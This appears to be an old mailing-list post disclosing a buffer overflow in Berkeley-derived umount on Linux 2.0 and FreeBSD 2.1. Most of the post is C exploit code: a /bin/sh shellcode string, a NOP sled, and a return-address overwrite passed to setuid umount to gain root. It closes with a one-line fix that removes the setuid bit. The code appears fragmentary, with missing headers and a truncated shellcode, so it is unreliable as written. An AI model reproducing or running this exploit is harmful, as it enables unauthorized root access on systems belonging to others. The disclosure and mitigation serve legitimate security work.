Linux & BSD's umount exploit

Hello,
there is a bug in berkeley-derived umount, which allows attacker to
get
root access (see freebsd-security for details). Here is exploit for
Linux
(tested on 2.0.XX), for BSD (tested on FreeBSD 2.1) and a quick
soluction.
Best regards, Paulo

u_char execshell[] =

"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
int i;
int ofs = DEFAULT_OFFSET;
buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;
/* fill start of buffer with nops */
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
/* stick asm code into the buffer */
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];
addr_ptr = (long *)ptr;
for(i=0;i < (8/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
*ptr = 0;
(void)alarm((u_int)0);
execl(PATH_MOUNT, "umount", buff, NULL);
}
--------------------------------------------------------------------------
Here is a little solution --
chmod -s /bin/umount
This way only root can run this command.
With best regards, Paulo
